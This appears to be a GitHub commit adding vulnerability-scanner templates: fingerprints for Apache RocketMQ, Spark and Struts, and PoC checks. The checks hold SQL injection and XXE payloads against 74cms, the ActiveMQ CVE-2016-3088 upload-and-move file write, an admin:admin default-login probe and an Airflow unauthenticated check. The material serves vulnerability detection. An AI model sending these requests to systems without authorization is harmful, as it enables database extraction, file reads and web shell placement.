Skip to content

Commit 10d3dac

Browse files
Jarcis-cyJarcis-cy
committed
上传poc与指纹
1 parent 3cf8479 commit 10d3dac

File tree

356 files changed

+48702
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

356 files changed

+48702
-0
lines changed

‎finger/Apache-RocketMQ.yml‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
name: fingerprint-yaml-Apache-RocketMQ
2+
manual: false
3+
detail:
4+
fingerprint:
5+
name: Apache-RocketMQ
6+
fofa: 'body="title>RocketMq" || header="X-Application-Context: rocketmq-console" || title="RocketMq-console-ng"'
7+
transport: http
8+
rules:
9+
r0:
10+
request:
11+
cache: true
12+
method: GET
13+
path: /
14+
follow_redirects: true
15+
expression: response.body_string.contains("title>RocketMq")
16+
r1:
17+
request:
18+
cache: true
19+
method: GET
20+
path: /
21+
follow_redirects: true
22+
expression: 'response.raw_header.bcontains(bytes("X-Application-Context: rocketmq-console"))'
23+
r2:
24+
request:
25+
cache: true
26+
method: GET
27+
path: /
28+
follow_redirects: true
29+
expression: response.title_string == 'RocketMq-console-ng'
30+
expression: r0() || r1() || r2()

‎finger/Apache-Spark.yml‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
name: fingerprint-yaml-Apache-Spark
2+
manual: false
3+
detail:
4+
fingerprint:
5+
name: Apache-Spark
6+
version: '{{version}}'
7+
transport: http
8+
rules:
9+
r0:
10+
request:
11+
cache: true
12+
method: GET
13+
path: /
14+
follow_redirects: true
15+
expression: response.body_string.contains('/static/spark-logo') || response.title_string.contains('Spark Worker at') || response.body_string.contains('serverSparkVersion')
16+
v0:
17+
request:
18+
cache: true
19+
method: GET
20+
path: /
21+
follow_redirects: true
22+
expression: response.body_string.contains('serverSparkVersion')
23+
output:
24+
search: |
25+
'"serverSparkVersion" : "(?P<version>[0-9\\.]+)"'.submatch(response.body_string)
26+
version: search['version']
27+
v1:
28+
request:
29+
cache: true
30+
method: GET
31+
path: /
32+
follow_redirects: true
33+
expression: response.body_string.contains('class="version"')
34+
output:
35+
search: |
36+
'<span class="version" style="margin-right: 15px;">(?P<version>[0-9\\.]+)</span>'.submatch(response.body_string)
37+
version: search['version']
38+
expression: r0() && (v0() || v1() || true)

‎finger/Apache-Struts.yml‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
name: fingerprint-yaml-Apache-Struts
2+
manual: false
3+
detail:
4+
fingerprint:
5+
name: Apache-Struts
6+
fofa: body="org.apache.struts2" || body="org.apache.struts." || body="content=\"Struts2 Showcase for Apache Struts Project\""
7+
transport: http
8+
rules:
9+
r0:
10+
request:
11+
cache: true
12+
method: GET
13+
path: /
14+
follow_redirects: true
15+
expression: response.body_string.contains("org.apache.struts2")
16+
r1:
17+
request:
18+
cache: true
19+
method: GET
20+
path: /
21+
follow_redirects: true
22+
expression: response.body_string.contains("org.apache.struts.")
23+
r2:
24+
request:
25+
cache: true
26+
method: GET
27+
path: /
28+
follow_redirects: true
29+
expression: response.body_string.contains('content="Struts2 Showcase for Apache Struts Project"')
30+
expression: r0() || r1() || r2()

‎finger/Apache-Struts2.yml‎

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
name: fingerprint-yaml-Apache-Struts2
2+
manual: false
3+
detail:
4+
fingerprint:
5+
name: Apache-Struts2
6+
fofa: body="struts problem report" && body="there is no action mapped for namespace" && body="no result defined for action and result input" && body="<a href=(.*\\.action(.*</a>" && body="<form id=(.*\\.action(.*" && body="<a href=(.*\\.do(.*</a>" && body="(.*\\.action" && body="(.*\\.do" || header="jsessionid" || body="struts problem report" || body="there is no action mapped for namespace" || body="no result defined for action and result input"
7+
transport: http
8+
set:
9+
404Path: get404Path()
10+
rules:
11+
r0:
12+
request:
13+
cache: true
14+
method: GET
15+
path: /
16+
follow_redirects: true
17+
expression: response.body_string.contains("struts problem report") && response.body_string.contains("there is no action mapped for namespace") && response.body_string.contains("no result defined for action and result input") && response.body_string.contains("<a href=(.*\\.action(.*</a>") && response.body_string.contains("<form id=(.*\\.action(.*") && response.body_string.contains("<a href=(.*\\.do(.*</a>") && response.body_string.contains("(.*\\.action") && response.body_string.contains("(.*\\.do")
18+
r1:
19+
request:
20+
cache: true
21+
method: GET
22+
path: /
23+
follow_redirects: true
24+
expression: response.raw_header.bcontains(bytes("jsessionid"))
25+
r2:
26+
request:
27+
cache: true
28+
method: GET
29+
path: /
30+
follow_redirects: true
31+
expression: response.body_string.contains("struts problem report")
32+
r3:
33+
request:
34+
cache: true
35+
method: GET
36+
path: /
37+
follow_redirects: true
38+
expression: response.body_string.contains("there is no action mapped for namespace")
39+
r4:
40+
request:
41+
cache: true
42+
method: GET
43+
path: /
44+
follow_redirects: true
45+
expression: response.body_string.contains("no result defined for action and result input")
46+
r5:
47+
request:
48+
method: GET
49+
path: /{{404Path}}
50+
expression: response.body_string.contains('Struts Problem Report') ||
51+
response.body_string.contains('org.apache.struts') ||
52+
response.body_string.contains('struts.devMode') ||
53+
response.body_string.contains('struts-tags') ||
54+
response.body_string.contains('There is no Action mapped for namespace')
55+
expression: r0() || r1() || r2() || r3() || r4() || r5()

‎poc/74cms-sqli-1.yml‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
name: poc-yaml-74cms-sqli-1
2+
manual: true
3+
transport: http
4+
set:
5+
rand: randomInt(200000000, 210000000)
6+
rules:
7+
r0:
8+
request:
9+
cache: true
10+
method: POST
11+
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
12+
headers:
13+
Content-Type: text/xml
14+
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
15+
follow_redirects: false
16+
expression: response.body.bcontains(bytes(md5(string(rand))))
17+
expression: r0()
18+
detail:
19+
author: betta(https://github.com/betta-cyber)
20+
links:
21+
- https://www.uedbox.com/post/29340

‎poc/74cms-sqli-2.yml‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
name: poc-yaml-74cms-sqli-2
2+
manual: true
3+
transport: http
4+
set:
5+
rand: randomInt(200000000, 210000000)
6+
rules:
7+
r0:
8+
request:
9+
cache: true
10+
method: GET
11+
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
12+
expression: response.body.bcontains(bytes(md5(string(rand))))
13+
expression: r0()
14+
detail:
15+
author: rexus
16+
links:
17+
- https://www.uedbox.com/post/30019/

‎poc/74cms-sqli.yml‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
name: poc-yaml-74cms-sqli
2+
manual: true
3+
transport: http
4+
rules:
5+
r0:
6+
request:
7+
cache: true
8+
method: GET
9+
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
10+
expression: response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
11+
expression: r0()
12+
detail:
13+
author: jinqi
14+
links:
15+
- https://www.t00ls.net/articles-54436.html

‎poc/activemq-cve-2016-3088.yml‎

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
name: poc-yaml-activemq-cve-2016-3088
2+
manual: true
3+
transport: http
4+
set:
5+
filename: randomLowercase(6)
6+
fileContent: randomLowercase(6)
7+
rules:
8+
r0:
9+
request:
10+
cache: true
11+
method: PUT
12+
path: /fileserver/{{filename}}.txt
13+
headers:
14+
Content-Type: application/x-www-form-urlencoded
15+
body: |
16+
{{fileContent}}
17+
expression: response.status == 204
18+
r1:
19+
request:
20+
cache: true
21+
method: GET
22+
path: /admin/test/index.jsp
23+
follow_redirects: false
24+
expression: response.status == 200
25+
output:
26+
search: '"activemq.home=(?P<home>.*?),".bsubmatch(response.body)'
27+
home: search["home"]
28+
r2:
29+
request:
30+
cache: true
31+
method: MOVE
32+
path: /fileserver/{{filename}}.txt
33+
headers:
34+
Destination: file://{{home}}/webapps/api/{{filename}}.jsp
35+
follow_redirects: false
36+
expression: response.status == 204
37+
r3:
38+
request:
39+
cache: true
40+
method: GET
41+
path: /api/{{filename}}.jsp
42+
follow_redirects: false
43+
expression: response.status == 200 && response.body.bcontains(bytes(fileContent))
44+
expression: r0() && r1() && r2() && r3()
45+
detail:
46+
author: j4ckzh0u(https://github.com/j4ckzh0u)
47+
links:
48+
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

‎poc/activemq-default-password.yml‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
name: poc-yaml-activemq-default-password
2+
manual: true
3+
transport: http
4+
rules:
5+
r0:
6+
request:
7+
cache: true
8+
method: GET
9+
path: /admin/
10+
expression: response.status == 401 && response.body.bcontains(b"Unauthorized")
11+
r1:
12+
request:
13+
cache: true
14+
method: GET
15+
path: /admin/
16+
headers:
17+
Authorization: Basic YWRtaW46YWRtaW4=
18+
expression: response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
19+
expression: r0() && r1()
20+
detail:
21+
author: pa55w0rd(www.pa55w0rd.online/)
22+
links:
23+
- https://blog.csdn.net/ge00111/article/details/72765210

‎poc/airflow-unauth.yml‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
name: poc-yaml-airflow-unauth
2+
manual: true
3+
transport: http
4+
rules:
5+
r0:
6+
request:
7+
cache: true
8+
method: GET
9+
path: /admin/
10+
expression: response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
11+
expression: r0()
12+
detail:
13+
author: pa55w0rd(www.pa55w0rd.online/)
14+
links:
15+
- http://airflow.apache.org/

0 commit comments

Comments
 (0)